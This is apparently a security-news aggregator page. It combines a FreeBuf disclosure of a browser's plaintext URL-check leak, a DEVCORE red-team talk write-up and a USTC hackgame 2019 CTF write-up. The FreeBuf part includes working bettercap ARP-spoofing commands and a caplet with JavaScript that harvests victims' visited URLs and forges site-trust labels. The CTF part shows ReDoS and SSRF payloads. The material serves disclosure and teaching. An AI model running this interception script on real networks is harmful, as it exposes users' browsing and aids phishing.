Aggregator
OGeek 线下 Java Web And XCTF Final babytaint Writeup
因为最近课程非常非常多, 还顺带考试 + 实验报告, 咕咕咕掉了许多比赛, 真正去的也只有 OGeek, 其他都是云比赛.
拿做出来的题目里面选两题写个 Writeup 吧, 不然太久没更新了 (逃
Apache solr Velocity模版远程命令执行漏洞分析
从PGone捅了捅D**Y**后台审核这事开说
Vulnerabilities, Exploits, and Malware Driving Attack Campaigns in September 2019
【自我转载】利用Bettercap对某国产浏览器中间人漏洞执行攻击
本文已投稿给freebuf并被发表,转载请联系freebuf官方
----------------------------------------------------------------------
本文首发于Freebuf 国产浏览器往往基于Chrome浏览器开发,在带来新功能的情况下也带来了新的安全威胁。 本文将披露某国产浏览器的中间人信息泄漏漏洞以及科普bettercap攻击脚本的编写方法。 漏洞发现 笔者本想按着先辈们的文章测试下国产浏览器的特权域漏洞,但是在测试过程中意外发现了某国产浏览器的一个中间人信息泄漏漏洞。 如图,每当该浏览器访问某URL的时候,都会向该浏览器官方的某个系统请求一个urlcheck来检查该URL是否安全,其中请求的url参数就是base64后的url。 我们暂且相信该浏览器官方是善意的不会保存我们的urlcheck记录,但这种HTTP明文请求仍然会使其易于遭受中间人攻击,导致即使有SSL保护的情形下URL仍然会被泄漏的问题,同时攻击者也可以据此伪造可信网站进行钓鱼攻击。 关于中间人攻击,由于笔者相信FreeBuf读者均具有相关的知识且其原理细节并非本文重点,在此不予详细叙述。简而言之,该攻击能使攻击者轻易的截取及替换明文传输的内容,可能导致信息泄漏,信息被篡改,甚至系统被拿下。 漏洞利用之bettercap配合Burpsuite手动攻击 显而易见,攻击者可以通过截取请求包并替换来进行漏洞利用。 在这里漏洞的演示攻击中,我们采用bettercap攻击进行演示。 bettercap介绍 bettercap早在几年前就被发布出来,是各类无线攻击的瑞士军(和谐)刀,具有取代ettercap的野心。 在原有的1.0版本中可以通过命令行参数来进行许多中间人攻击,而在2.0之后的版本该工具借鉴了MSF的模块化思想,主要通过交互式终端执行进行攻击。 目前bettercap还提供一个漂亮的UI供攻击者简化攻击过程,不过本文并不会涉及该UI的使用。 比起老牌的ettercap,该工具具有如下优点 1,更加稳定,不像ettercap容易崩溃 2,易于拓展,可以用其支持的cap脚本和js代码拓展 3,易于操作,具有更加简单的命令进行arp欺骗 在编写脚本自动化攻击之前,我们可以先使用Burpsuite配合bettercap测试中间人攻击。 Burpsuite攻击配置 大名鼎鼎的Burpsuite已被大家熟知,但许多人只知道用它来抓包测试web层的漏洞,不知道它也能用来进行中间人攻击 在进行中间人攻击测试之前,我们对Burpsuite进行一些简单的配置。 首先我们需要去Burpsuite的proxy处,选中options,对我们的代理选择edit, 在Binding处选择All interfaces。因为burpsuite默认只允许本地IP访问,而我们需要局域网内的机器来访问 。 接着再在request handling处选择support invisible proxying来打开透明代理。 之所以我们要这么做是因为在代理的时候我们无法解密SSL流量,应该让Burpsuite直接放行加密流量而不是做中间人替换证书。 Bettercap攻击 使用bettercap攻击远比ettercap简单,我们只需要两个命令就可以了。 any.proxy on arp.spoof on any.proxy是bettercap自带的一个模块,它能够将流量进行重定向使得被攻击的机器的流量到达我们指定的代理。 使用any.proxy on 其用该模块,其中any.proxy的端口默认就是本机的8080端口,无需配置正好和burp一样。 而arp.spoof是arp攻击模块,直接arp.spoof on就能开启攻击了,默认攻击范围是整个局域网。 攻击效果 如上图所示,我们能够在不在靶机上安装证书的情况下,通过urlcheck的返回结果获取到本来该被SSL保护的URL,读出了bing搜索中的搜索内容(123)。 同时通过手动改包,我们能够修改网站的标识(把Bing改成了Google),显示了这个漏洞也可能被用于辅助社会工程学攻击。 这些结果很棒,但是作为黑客我们是不会满足于手动抓包改包这样只有概念验证性功能的实验的,我们需要将这个漏洞自动化利用。 幸运的是,bettercap对于拓展其功能有着良好的支持。 漏洞利用之bettercap caplets编写 bettercap的攻击脚本编写规则 bettercap允许我们用caplets编写自动化脚本进行攻击。caplets指的是后缀为.cap的脚本,能够直接执行bettercap的交互终端命令而不需要一条一条地手动输入,类似于metasploit的rc脚本。同时如果用它来修改http.proxy这个http流量拦截模块,我们可以轻易指定加载该cap目录下的js脚本而不需要考虑绝对路径。 bettercap提供了如下几个命令来帮助用户管理已有的caplets。 caplets.show#显示已有的caplets. caplets.paths# 显示caplets的搜索路径 caplets.update# 安装或更新caplets. 可以知道bettercap默认的caplets搜索路径有三个。 /usr/local/share/bettercap/caplets /usr/local/share/bettercap/caplets/caplets /usr/share/bettercap/caplets 在默认情况下,自带的caplets被放置在/usr/share/bettercap/caplets/,用户可以创建目录来和其余的模块隔开,bettercap会自动递归这些目录来查找可用的caplets。 在了解了caplets的基本编写规则之后,我们看看如何拓展原有的http嗅探模块来嗅探url。 自定义bettercap的http.proxy模块 bettercap的http.proxy模块提供一个http的透明代理,能够监听并修改流量,并且可以允许用户编写js代码来自定义其行为。它可以和bettercap的arp.spoof模块配合实现中间人攻击。 该模块有着如下参数可以设置 参数 默认设置 描述 http.port 80 需要转发的端口的流量 http.proxy.address <本机地址> 本地代理绑定的地址 http.proxy.port 8080 本地代理的端口 http.proxy.sslstrip false 是否打开sslstrip http.proxy.script 用于操控模块的js 脚本路径 http.proxy.injectjs 注射进受害机的 http.proxy.blacklist 不进行代理的黑名单(用逗号隔开,支持wildchard) http.proxy.whitelist 当黑名单启用的时候需要通过代理的白名单(用逗号隔开)我们将会用到该模块的两个命令 我们这次需要编写的caplets中需要用到如下命令 http.proxy on #启用http.proxy模块 set http.proxy.script path#启用我们自定义的js脚本来自定义http.proxy模块的行为 编写http.proxy是重头戏, 而拓展http.proxy的js脚本格式如下 // 在脚本被加载时执行 function onLoad() { } // 当代理接收到请求并且还没发送到真正的server时调用 function onRequest(req, res) { } // 当请求已经发送到了真实的server并获取返回结果时调用 function onResponse(req, res) { } //当未知命令被调用时执行,这样可以拓展我们自己的命令 function onCommand(cmd) { if( cmd == "test" ) { /* * 自定义会话中命令的逻辑. */ return true } } 在今天的bettercap脚本编写示例中我们将会编写这里的onRequest和onResponse函数。 在onRequest和onResponse函数中的req和res就是传入的请求和返回结果。 关于req和res支持的操作,官方文档并没有提供一个完整详细的列表,但是笔者阅读了许多caplets的源码找出了以下用法 req用法 用法 说明 req.Path url路径 req.GetHeader(“User-Agent”, “”) 获取某请求头 req.Client.IP 客户端IP req.Hostname server的主机名 req.Headers 获取所有请求头 req.Method 请求方式 req.ContentType Content-Type req.Query 获取查询字符串 req.ParseForm(); 获取POST包的字典 req.ReadBody() 获取请求包的body res用法 用法 说明 res.Body 返回包的body,只能修改用于改包而不能读结果 res.ContentType Content-Type res.SetHeader(“Content-Length”, 114514) 设置返回包的头 res.Status 返回包的状态码 res.ReadBody 获取返回包的body(在onResponse时使用) 编写caplets 在知道了如上信息之后我们就可以编写我们的caplets了,首先在/usr/share/bettercap/caplets/目录下建立目录uc-url 创建uc-url.cap文件,编写文件使内容为 set http.proxy.script uc-url.js http.proxy on arp.spoof on 这个脚本的解释:第一行是配置http.proxy.script,即我们即将编写的拓展脚本 接着启用http.proxy模块 最后启用arp.spoof模块,由于没有指定目标,默认对同局域网所有主机执行arp攻击 接着我们在同目录下创建uc-url.js,编写如下内容 var RESET = "\033[0m"; function R(s) { return "\033[31m" + s + RESET; } function G(s) { return "\033[32m" + s + RESET; } function onRequest(req, res) { if( req.Method == "POST" && req.Path == "/urlcheck"&&req.Hostname=='dabai.pc.ucweb.com') { //parse request url from urlcheck request var form = req.ParseForm(); var url=atob(form['url']); log( R(req.Client.IP)+" URL:"+G(url)); } } function onResponse(req, res) { if( req.Method == "POST" && req.Path == "/urlcheck"&&req.Hostname=='dabai.pc.ucweb.com') { var body = res.ReadBody(); j=JSON.parse(body) j['data']['title']='6324直播间'; res.Body=JSON.stringify(j); //log(JSON.stringify(j)); } } 前面的RESET,G,R函数用于处理字符串,使其在终端输出的时候有颜色。 其中onRequest函数中,我们根据请求的方式,url的路径,以及hostname判断了urlcheck包。 如果是urlcheck包,则通过ParseForm函数获取其url参数并且用atob函数base64解码,最后在终端上打印该URL。 在onResponse函数中,我们也如法炮制,获取返回结果并修改。由于笔者的恶趣味,笔者将返回结果的title替换成了6324直播间,这样每当有可信网站的结果返回的时候,这个对可信网站的描述就会被替换成6324直播间。 攻击效果 在一切完成之后,通过如下命令执行攻击 bettercap -caplet uc-url/uc-url 如图,UC浏览器用户在SSL情况下访问freebuf时URL仍然能够被攻击者获取 由于freebuf并没有被标注为可信网站,再来一个网站标识替换后的效果图 结语 尽管已经是2019年,大量的网站系统仍然没有使用SSL加密,中间人攻击仍然有其一席之地。对于安全研究者来讲,掌握相关知识,学习更新更好用的攻击工具的使用方法仍然是必要的。而开发者应该在开发的时候考虑到中间人攻击带来的威胁,部署SSL或者使用别的加密手段来抵御中间人攻击。 *本文原创作者:APU,本文属于FreeBuf原创奖励计划,未经许可禁止转载
MITRE ATT&CK Update for Cloud and cookies!
盘点那些适配Linux的国产常用软件 - luoyesiqiu
Volunteering with Girls Who Code
2019 Phishing and Fraud Report
Struts2基于OGNL的RCE漏洞全解析
DEVCORE 紅隊的進化,與下一步
「紅隊演練」近年來漸漸開始被大家提及,也開始有一些廠商推出紅隊服務。不過關於在台灣紅隊是怎麼做的就比較少人公開分享,身為第一個在台灣推紅隊演練的公司,我想就根據這兩年多來的實戰經驗,分享為什麼我們要做紅隊、我們面臨到的問題、以及在我們心中認為紅隊成員應該具備的特質。最後再分享我們現階段看到的企業資安問題,期望未來我們也可以透過紅隊演練來幫助企業補足那些問題。
這一篇是我在 DEVCORE CONFERENCE 2019 所分享的主題。研討會事前調查想聽內容時有些朋友希望我們能介紹 DEVCORE 的紅隊,還有運作方式和案例,所以我抽出一些素材整理成這場演講。下面是投影片連結,其中有些內部系統畫面不對外公開,僅在研討會分享敬請見諒。
DEVCORE 紅隊的進化,與下一步 - Shaolin (DEVCORE CONF 2019)
為什麼要紅隊演練?一言以蔽之,就是我們漸漸體會到:對大企業而言,單純的滲透測試並不是最有效益的。從過去上百次滲透測試經驗中,我們往往能在專案初期的偵查階段,發現企業邊界存在嚴重弱點,進而進入內網繞過層層防禦攻擊主要目標。越是龐大的企業,這種狀況會越明顯,因為他們通常有很多對外的網站、網路設備,每一個都可能是風險,即使主要網站防護很完備,駭客只需要從這麼多目標中找到一個問題,就可以對企業造成傷害。今天就算企業對每個服務都獨立做了一次滲透測試,在真實世界中,還是有可能從第三方服務、廠商供應鏈、社交工程等途徑入侵。所以有可能投注很多資源做測試,結果還是發生資安事件。
於是,我們推出了紅隊演練,希望透過真實的演練幫助企業找到整體架構中脆弱的地方。因此,這個服務關注的是企業整體的安全性,而不再只是單一的網站。
紅隊演練目標通常是一個情境,例如:駭客有沒有辦法取得民眾個資甚至是信用卡卡號?在演練過程中紅隊會無所不用其極的嘗試驗證企業在乎的情境有沒有可能發生。以剛剛的例子來說,我們會想辦法找到一條路徑取得存放這些訊息的資料庫,去驗證有沒有辦法取得個資及卡號。一般來說,卡號部分都會經過加密,因此在拿下資料庫後我們也會嘗試看看有沒有辦法還原這些卡號。有時候除了找到還原的方法,我們甚至會在過程中發現其他路徑可取得卡號,可能是工程師的 debug 資訊會記錄卡號,或是備份檔在 NAS 裡面有完整卡號,這些可能是連資安負責人都不知道的資訊,也是企業評估風險的盲點。
到這邊,紅隊演練的效益就很明顯了,紅隊能協助企業全盤評估潛在的重大風險,不再像過去只是單一面向的測試特定網站。除了找到弱點,紅隊更在乎幫企業驗證入侵的可行性,方便企業評估風險以及擬定防禦策略。最後,紅隊往往也能夠在演練過程當中找出企業風險評估忽略的地方,例如剛剛例子提到的備份 NAS,就可能是沒有列入核心系統但又相當重要的伺服器,這一塊也是 DEVCORE 這幾年來確實幫助到客戶的地方。
DEVCORE 紅隊的編制基本上,DEVCORE 的紅隊成員都是可以獨當一面的,在執行一般專案時成員間並沒有顯著差異。但在演練範圍比較大的狀況下,就會開始有明顯的分工作業,各組也會專精技能增加團隊效率。目前我們的編制共分為五組:
簡單介紹職責如下:
- Intelligence (偵查),負責情報偵查,他們會去收集跟目標有關的所有資訊,包括 IP 網段、網站個別使用的技術,甚至是洩漏的帳號密碼。
- Special Force (特攻),有比較強大的攻擊能力,主要負責打破現況,例如攻下第一個據點、拿下另一個網段、或是主機的提權。
- Regular Army (常規),負責拿下據點後掃蕩整個戰場,嘗試橫向移動,會盡量多建立幾個據點讓特攻組有更多資源朝任務目標邁進。
- Support (支援),重要的後勤工作,維持據點的可用性,同時也要觀察記錄整個戰況,最清楚全局戰況。
- Research (研究),平時研究各種在紅隊中會用到的技術,演練時期碰到具戰略價值的系統,會投入資源開採 0-day。
所謂的進化,就是碰到了問題,想辦法強化並且解決,那我們遇到了哪些問題呢?
如何找到一個突破點?這是大家最常碰到的問題,萬事起頭難,怎麼樣找到第一個突破點?這個問題在紅隊演練當中難度會更高,因為有規模的企業早已投入資源在資安檢測和防護上,我們要怎麼樣從層層防禦當中找到弱點?要能找到別人找不到的弱點,測試思維和方法一定要跟別人不一樣。於是,我們投入資源在偵查、特攻、研究組:偵查部分研究了不同的偵查方法和來源,並且開發自己的工具讓偵查更有效率;我們的特攻組也不斷強化自己的攻擊能力;最重要的,我們讓研究人員開始針對我們常碰到的目標進行研究,開發紅隊會用到的工具或技巧。
這邊特別想要分享研究組的成果,因為我們會去開採一些基礎設施的 0-day,在負責任的揭露後,會將 1-day 用於演練中,這種模式對國外紅隊來說算是相當少見。為了能幫助到紅隊,研究組平時的研究方向,通常都是找企業外網可以碰到的通用服務,例如郵件伺服器、Jenkins、SSL VPN。我們找的弱點都是以不用認證、可取得伺服器控制權為優先,目前已公開的有:Exim、Jenkins、Palo Alto GlobalProtect、FortiGate、Pulse Secure。這些成果在演練當中都有非常非常高的戰略價值,甚至可以說掌控了這些伺服器幾乎就能間接控制企業的大半。
而這些研究成果,也意外的被國外所注意到:
- PortSwigger 連續兩年年度十大網站攻擊技術評選冠軍 (2017, 2018)
- 連續三年 DEFCON & Black Hat USA 發表 (2017, 2018, 2019)
- 台灣第一個拿到 PWNIE AWARD 獎項:Pwnie for Best Server-Side Bug (年度最佳伺服器漏洞) (2018 入圍, 2019 得獎)
前面靠了偵查、特攻、研究組的成果取得了進入點。下一個問題,是在我們過去的經驗中,有過多次演練的範圍是上萬台電腦,我們要怎樣做才能發揮團隊作戰的效益呢?會有這個問題是因為數量級,如果範圍只有十個網站很容易找目標,但是當網站變多的時候,就很難標註討論我們要攻擊的目標。或是當大家要同步進度的時候,每個人的進度都很多,很難有個地方分享伺服器資訊,讓其他人能接續任務。
過去我們使用類似 Trello 的系統記錄每台伺服器的狀況,在範圍較小的時候很方便好用,但是當資料量一大就會顯得很難操作。
因此,我們自行開發了系統去解決相關問題。分享一些我們設計系統的必要原則供大家參考:
- 伺服器列表可標籤、排序、全文搜尋,火力集中的伺服器必須要自動在顯眼處,省去額外搜尋時間。
- 要可自動建立主機關係圖,方便團隊討論戰況。
- 儲存結構化資訊而非過去的純字串,例如這台機器開的服務資訊、拿 shell 的方式、已滲透的帳號密碼。方便快速釐清目前進度以及事後分析。
- 建立 shell 主控台,方便成員一鍵取得 shell 操作。
另外還有一個問題,紅隊成員這麼多,戰場又分散,如果想要把我們做過的測試過程記錄下來,不是會很複雜嗎?所以我們另外寫了 plugin 記錄 web 的攻擊流量、以及記錄我們在 shell 下過的指令和伺服器回傳的結果,這些記錄甚至比客戶的 access_log 和 bash_history 還詳細。此外,針對每個目標伺服器,我們也會特別記錄在上面所做過的重要行為,例如:改了什麼設定,新增或刪除了什麼檔案,方便我們還有客戶追蹤。要做這樣的客製化記錄其實是很繁瑣的,對那些習慣於自動化解決事情的駭客更是,但我們就是堅持做好這樣的紀錄,即使客戶沒有要求,我們還是會詳實記錄每個步驟,以備不時之需。
企業有防禦設備或機制?解決了突破點和多人合作的問題,接下來我們面臨到第三個問題,企業有防護措施!在研討會中我舉了幾個較客製的真實防禦案例,說明我們除了常見的防禦設備外也擁有很多跟防禦機制交手的經驗。我們會研究每種防禦的特性加以繞過或利用,甚至會寫工具去躲避偵測,最近比較經典的是團隊做了在 Windows 伺服器上的 Web shell,它可以做到 WAF 抓不到,防毒軟體抓不到,也不會有 eventlog 記錄,利用這個工具可以無聲無息收集伺服器上我們需要的資料。當然,我們不是無敵的,一些較底層的偵測機制還是會無法繞過。這邊我直接講我們進化到目前的準則:在面對伺服器防禦機制,我們能隱匿的,一定做到絕對的隱匿,無法躲的,就把流程最佳化,縮短做事情的時間,例如控制在五分鐘內提權拿到關鍵資料,就算被別人抓到也沒關係,因為該拿的資料也拿到了。
紅隊成員應具備的特質要能夠在紅隊演練中有突出成果,我覺得成員特質是滿關鍵的一個點。以下整理了幾個我從我們紅隊夥伴觀察到的特質跟大家分享,如果將來有打算從事紅隊工作,或是企業已經打算開始成立內部紅隊,這些特質可能可以作為一些參考。
想像力第一個是想像力,為什麼會提這個特質,因為現在資安意識慢慢強化,要靠一招打天下是不太有機會的,尤其是紅隊演練這麼有變化的工作。要有成果一定要巧妙的組合利用或是繞過才有機會。
直接舉個例子,我們在公布 Pulse Secure VPN 的研究細節後,有人在 twitter 上表示那個關鍵用來 RCE 的 argument injection 點之前他有找到,只是無法利用所以官方也沒有修。確實我們找到的地方相同,不過我們靠想像力找到了一個可利用參數並搭配 Perl 的特性串出了 RCE。 另一個例子是 Jenkins 研究裡面的一環,我們在繞過身分認證之後發現有一個功能是在檢查使用者輸入的程式語法正不正確。伺服器怎樣去判斷語法正不正確?最簡單的方法就是直接去編譯看看,可以編譯成功就代表語法正確。所以我們研究了可以在『編譯階段』命令執行的方法,讓伺服器在嘗試判斷語法是否正確的同時執行我們的指令。這個手法過去沒有人提過,算是運用想像力的一個經典案例。
關於想像力,其實還有一個隱藏的前提:基礎功要夠。我一直認為想像力是知識的排列組合,例如剛剛的兩個例子,如果不知道 Perl 語法特性和 Meta-Programming 的知識,再怎麼天馬行空都是不可能成功 RCE 的。有基礎功再加上勇於聯想和嘗試,絕對是一個紅隊大將的必備特質。至於基礎功需要到什麼程度,對我們來說,講到一個漏洞,心中就會同時跳出一個樹狀圖:出現成因是什麼?相關的案例、漏洞、繞過方式都會啵啵啵跳出來,能做到這樣我想就已經是有所小成了。
追新技術會追新技術這件事情,似乎是資安圈的標配,我們的世界不只有 OWASP TOP 10。更現實的說法是,如果只靠這麼一點知識,在紅隊演練能發揮的效果其實並不大。分享一下我看到成員們的樣子,對於他們來說,看新技術是每天的習慣,如果有資安研討會投影片釋出,會追。新技術裡有興趣的,會動手玩,甚至寫成工具,我們很多內部工具都是這樣默默補強的。還有一點,看新技術最終目的就是要活用,拿新技術解決舊問題,往往有機會發現一些突破方式。例如我們在今年八月 BlackHat 研討會看到了 HTTP Desync 的攻擊方式,回國之後馬上就把這個知識用在當時的專案上,讓我們多了一些攻擊面向!(這個手法挺有趣的,在我們污染伺服器後,隨機一個人瀏覽客戶網頁就會執行我們的 JavaScript,不需要什麼特殊條件,有興趣可以研究一下:p )
相信…以及堅持最後一點,我想分享的是:在研究或者測試的過程當中,有時候會花費很多時間卻沒有成果,但是如果你評估是有機會,那就相信自己,花時間做下去吧! 我們有一個花費一個月的例子,是之前破解 IDA Pro 偽隨機數的研究,這個事件意外在 binary 圈很有名,甚至還有人寫成事件懶人包。這個研究是在探討如果我們沒有安裝密碼,有機會安裝 IDA PRO 嗎?結果最後我們想辦法逆推出了 IDA 密碼產生器的算法,知道偽隨機數使用了哪些字元,和它的正確排序。這件事情的難度已經不只在技術上,而在於要猜出偽隨機數使用的字元集順序,還要同時猜出對方使用的演算法(至少有88種)。而且我們每驗證一種排列組合,就會花半天時間和 100GB 的空間,累積成本滿高的。但我們根據經驗相信這是有機會成功的,並且投注資源堅持下去,最後有了很不錯的成果。
這裡不是在鼓勵一意孤行,而是一種心理素質:是在面臨卡關的時候,有足夠的判斷力,方向錯誤能果斷放棄,如果方向正確要有堅持下去的勇氣。
資安防護趨勢與紅隊的下一步文章的最後一部分要談的是紅隊演練的未來,也是這篇文章的重點,未來,我們希望可以解決什麼問題?
做為紅隊演練的領導廠商,從 2017 年演練到現在我們進入台灣企業內網的成功率是 100%。我們在超過六成的演練案中拿到 AD 管理權限,這還不含那些不是用 AD 來管理的企業。我們發現進入內網後,通常不會有什麼阻礙,就好像變成內部員工,打了聲招呼就可以進機房。想要提醒大家的是:對頂尖攻擊團隊而言,進入企業內網的難度並不高。如果碰上頂尖的駭客,或是一個 0day,企業準備好了嗎?這就是現階段我們所發現的問題!
在說到抵禦攻擊通常會有三個面向,分別是「預防」、「偵測」和「回應」。一般而言企業在「預防」這部份做的比較完善,對於已知的弱點都有比較高的掌握度。今天普遍的問題在「偵測」和「回應」上,企業能不能發現有人在對你進行攻擊?或是知道被攻擊後有沒有能力即時回應並且根絕源頭?這兩件事情做得相對不好的原因並不是企業沒有投入資源在上面,而是對於企業來說太難驗證,很難有個標準去確定目前的機制有沒有效或是買了設備有沒有作用,就算有藍隊通常也沒有建立完善的應對 SOP,畢竟駭客入侵不會是天天發生的事情。
所以,我們希望企業能從紅隊演練中,訓練對攻擊事件的偵測和反應能力。或是說,紅隊演練的本質就是在真實的演練,透過攻防幫助企業了解自己的弱項。過去台灣的紅隊服務都會強調在找出整個企業的弱點,找出漏洞固然重要,但碰到像我們一樣很常找到 0-day 的組織,有偵測和回應能力才是最後能救你一命的硬技能。換個角度來看,目前世界上最完整的攻擊戰略和技術手法列表是 MITRE ATT&CK Framework,一個對企業有傷害的攻擊行動通常會是很多個攻擊手法所組成的攻擊鏈,而在這個 Framework 中,找到起始弱點這件事情僅佔了整個攻擊鏈不到一成,企業如果能夠投注在其他九成手法的偵測能力上並阻斷其中任一環節,就有機會讓整個攻擊行動失敗而保護到資產。
要說的是,我們紅隊演練除了找出企業漏洞能力頂尖之外,也累積了很豐富的內網滲透經驗及技巧,我們很樂意透過演練協助企業加強真實的偵測和回應能力。漸漸的,未來紅隊會慢慢著重在和藍隊的攻防演練。會強調擬定戰略,讓企業了解自己對哪些攻擊的防禦能力比較弱,進而去改善。未來的紅隊也更需要強調與防禦機制交手的經驗,了解防禦的極限,才有辦法找到設備設定不全或是涵蓋率不足的盲點。
最後我們也有些規劃建議給對資安防禦比較成熟的企業如下,逐步落實可以將資安體質提昇一個層次。(至少從我們的經驗來看,有這些概念的企業都是特別難攻擊達成目標的)
- 如果外網安全已投資多年,開始思考「如果駭客已經在內網」的防禦策略
- 盤點出最不可以被洩漏的重要資料,從這些地方開始奉行 Zero Trust 概念
- 企業內部需要有專職資安人員編制(藍隊)
- 透過與有經驗的紅隊合作,全盤檢視防禦盲點
研討會內容到這邊就結束了。寫在最後的最後,是充滿著感謝。其實無論滲透測試還是紅隊演練,在一開始都不是人人可以接受的,而測試的價值也不是我們說了算。一路走來,漸漸漸漸感受到開始有人相信我們,從早期比較多測試時與工程師和網管人員的對立,到近期越來越多 open mind、就是想找出問題的客戶,是滿大的對比。非常感謝他們的信任,也因為這樣的互信,我們得以節省時間完成更棒的產出。滿樂見台灣資訊產業是這樣正向面對問題,漏洞存在就是存在,不會因為視而不見而真的不見,意識到有問題解決了就好。所以我在演講最後留下這樣一句:『紅隊演練的精髓不是在告訴你有多脆弱,在於真正壞人闖入時你可以獨當一面擋下』,希望越來越多人能正面對待問題,同時也傳遞我們想要做到的價值。
2019 DEVCORE CONF,謝謝過去合作的朋友們參與讓 DEVCORE 紅隊得以進化,希望下一步也能有你,我們明年見 :)
Enhancing Video Streaming Quality for Exoplayer -- Part 2: Buffering Strategy to Lower Startup Time and Video On-Demand Rebuffering
Tech That Makes a Difference: Sustainability
Three Ways to Hack the U.S. Election
家用路由器渗透过程总结 - H4lo
2019 Application Protection Report Podcast Series
IOT 安全资料整合(主要是路由器) - H4lo
谢谢你!白帽极客节公益活动爱心接力中
ustc hackgame 2019 writeup
菜是原罪,改变不了的事实 :(
签到复制本人token,过去粘贴然后提交
信息安全2077看了下是If-Unmodified-Since头,改一下就行
1 2 curl 202.38.93.241:2077/flag.txt -H "User-agent=Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) HEICORE/49.1.2623.213 Safari/537.36" -H "If-Unmodified-Since: Tue, 15 Oct 2077 05:47:08 GMT" -d " " flag{Welc0me_to_competit1on_in_2077} happy lugdns txt记录 一般ctf里面这种都是查txt记录
毕竟我也在我的域名txt里面放过flag (Doge
1 https://mxtoolbox.com/SuperTool.aspx?action=txt%3a%F0%9F%98%82.hack.ustclug.org&run=toolpage# 1 flag{DN5_C4N_H4VE_em0ji_haha} 宇宙终极问题 42搜一下就有了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 $ nc 202.38.93.241 10017 Please input your token: 959:MEYCIQC5ir9sscKL0EsFJknDHKTInhAAka2kE67Ja/uuZRTiFAIhAKye8eFiVjnADQenC4nihInpkAKSsGTWnmIjfvSR9K98 the answer toli fetheuniv ersea nde ver ything the ans wer tol ife the uni ver sean dev ery thin gth ean swer tolifetheuni ver seandeveryth ing the ans wer tol ifetheuniver sea ndeverything Do you know The Answer to the Ultimate Question of Life, The Universe, and Everything? Give me 3 integers, x, y, and z, such that x^3 + y^3 + z^3 = 42 x = -80538738812075974 y = 80435758145817515 z = 12602123297335631 (-80538738812075974) ^ 3 + (80435758145817515) ^ 3 + (12602123297335631) ^ 3 = 42 flag{W0W_you_kn0w_the_Answer_t0_l1f3_Un1v3r5e_&_Everyth1ng_a51ec7fd69} 正则验证器看题目直接猜是正则回溯陷阱
1 2 3 4 5 6 7 8 $ nc 202.38.93.241 10006 Please input your token: 959:MEYCIQC5ir9sscKL0EsFJknDHKTInhAAka2kE67Ja/uuZRTiFAIhAKye8eFiVjnADQenC4nihInpkAKSsGTWnmIjfvSR9K98 Welcome to the free online Regular Expression Verifier Please enter your RegEx and string and I will match them for you RegEx: (a*)*b String: aaaaaaaaaaaaaaaaaaaaaaas flag{R3g3x_can_D0S_f01fd1fa56} ssrf看源代码,审计
1 http://202.38.93.241:10020/request?url=http://web1/[email protected]脑子不够用
我想有个家下载二进制文件,运行一下
看样子是要chroot,那就先创建他需要的东西吧
1 2 3 4 5 6 mkdir hhhh cd hhhh mkdir Bedroom Kitchen Lavatory Living_room touch Bedroom/Micrrophone cd Bedroom ln -s Microphone Headset然后写个脚本定期修改文件的时间
1 2 3 4 5 6 In [11]: while True: ...: time.sleep(0.1) ...: with open('Living_Room/Clock', 'w') as f: ...: f.write(datetime.now().strftime('%H:%M:%S')) ...:因为没有动态库了,系统的sleep不能用了
busybox也有sleep,但是需要/dev/null,懒得去搞,直接用go写一个sleep静态编译丢进去
1 2 3 4 5 6 7 8 9 10 11 12 13 package main import ( "fmt" "time" ) func main() { fmt.Println("sleep now ") time.Sleep(time.Duration(10)*time.Second) fmt.Println("sleep") }交叉编译
1 2 3 set GOOS=linux set GOARCH=amd64 go build main.go然后执行
1 chroot . ./IWantHome需要sleep的时候执行main就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $ chroot . ./IWantAHome-linux I just want a home. Please do what I say and I will give you a flag Make sure I am running on Linux(Unix). I want these directories in / : [/Kitchen /Lavatory /Bedroom /Living_Room] Thanks, I find these directories. I hate these directories [/home /root /boot /proc /sys /etc /bin] , Please delete them all! Well done. Now I want a telephone in Bedroom I will write something to /Bedroom/Microphone and read the same thing in /Bedroom/Headset Good, telephone works well. Time is important, I need a clock in living_room I will read Beijing time (eg: '20:15:30') in /Living_Room/Clock Good, the clock works well. It is late, tell me how to sleep 10 seconds in shell > ./main command is:'./main' I slept for 10.004741985s flag{I_am_happy_now} 小巧玲珑的ELF丢进IDA看一下,F5出来有负数,结合着汇编看吧 ida的f5仅供参考
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 push rbp mov rbp, rsp sub rsp, 70h mov [rbp+var_70], 66h mov [rbp+var_6F], 6Eh mov [rbp+var_6E], 65h mov [rbp+var_6D], 6Bh mov [rbp+var_6C], 83h mov [rbp+var_6B], 4Eh mov [rbp+var_6A], 6Dh mov [rbp+var_69], 74h mov [rbp+var_68], 85h mov [rbp+var_67], 7Ah mov [rbp+var_66], 6Fh mov [rbp+var_65], 57h mov [rbp+var_64], 91h mov [rbp+var_63], 73h mov [rbp+var_62], 90h mov [rbp+var_61], 4Fh mov [rbp+var_60], 8Dh mov [rbp+var_5F], 7Fh mov [rbp+var_5E], 63h mov [rbp+var_5D], 36h mov [rbp+var_5C], 6Ch mov [rbp+var_5B], 6Eh mov [rbp+var_5A], 87h mov [rbp+var_59], 69h mov [rbp+var_58], 163 mov [rbp+var_57], 6Fh mov [rbp+var_56], 58h mov [rbp+var_55], 73h mov [rbp+var_54], 66h mov [rbp+var_53], 56h mov [rbp+var_52], 93h mov [rbp+var_51], 9Fh mov [rbp+var_50], 69h mov [rbp+var_4F], 70h mov [rbp+var_4E], 38h mov [rbp+var_4D], 76h mov [rbp+var_4C], 71h mov [rbp+var_4B], 78h mov [rbp+var_4A], 6Fh mov [rbp+var_49], 63h mov [rbp+var_48], 0C4h mov [rbp+var_47], 82h mov [rbp+var_46], 84h mov [rbp+var_45], 0BEh mov [rbp+var_44], 0BBh mov [rbp+var_43], 0CDhida打开,F5
1 2 3 4 5 6 7 8 9 10 11 for ( i = 0; i <= 45; ++i ) { buf[i] += 2 * i; buf[i] ^= i; buf[i] -= i; } for ( j = 0; j <= 45; ++j ) { if ( buf[j] != *(&v0 + j) ) __asm { syscall; LINUX - sys_exit } }梳理下逻辑,根据输入的字符串做一些变换,如果变换之后的结果等于他预定义的字符串,那么输出correct
